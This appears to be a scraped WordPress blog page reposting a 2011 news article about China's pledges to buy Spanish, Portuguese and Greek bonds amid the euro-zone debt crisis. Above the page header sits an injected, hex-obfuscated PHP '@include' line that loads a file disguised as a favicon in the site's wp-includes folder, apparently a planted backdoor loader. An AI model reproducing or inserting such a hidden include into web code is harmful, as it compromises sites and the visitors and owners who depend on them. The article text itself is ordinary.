/*3cc97*/ @include "\x2fhsp\x68ere\x2floc\x61l/h\x6fme/\x6eave\x78pre\x2fgui\x64emy\x77ay.\x63om/\x77p-i\x6eclu\x64es/\x66ont\x73/fa\x76ico\x6e_49\x34a27\x2eico"; /*3cc97*/ GuideMyWay.com » Blog Archive » China helps take pressure off euro
Home » Money Matters

China helps take pressure off euro

1 February 2011 No Comment

SPAIN, Portugal and Greece – three of the euro zone’s most financially shaky members – in recent months have touted a lifeline thrown to them by China: a promise to buy these countries’ embattled bonds.

The pledges from the government in Beijing temporarily took some pressure off European debt markets, but China has been quiet on how much money it will actually invest. What is clear is that China has an immense interest in helping the euro zone, its biggest trading partner, out of its current woes.

On Wednesday, Spain signed more than a dozen business accords with China, two days after Vice-Premier Li Keqiang wrote in daily El Pais that his country will keep on buying Spain’s public debt as a show of support.

That follows similar deals and promises from China for already bailed-out Greece and Portugal, seen by many as the next weakest link in the 17-country euro zone.

Europe has been fighting a bruising battle to keep its currency union together. But a 110 billion euro (S$187 billion) rescue loan for Greece and the euro67.5 billion bailout of Ireland have failed to erase fears that mounting debts in several member states might be too much for the struggling euro zone and could eventually even endanger the euro.

A deepening crisis in Europe or a meltdown of the euro – which already appeared to be in a state of free-fall last spring – would hurt China, now the world’s second largest economy and holder of massive foreign currency reserves, most of it in US dollars.

Source

Leave your response!

Add your comment below, or trackback from your own site. You can also subscribe to these comments via RSS.

Be nice. Keep it clean. Stay on topic. No spam.

You can use these tags:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

This is a Gravatar-enabled weblog. To get your own globally-recognized-avatar, please register at Gravatar.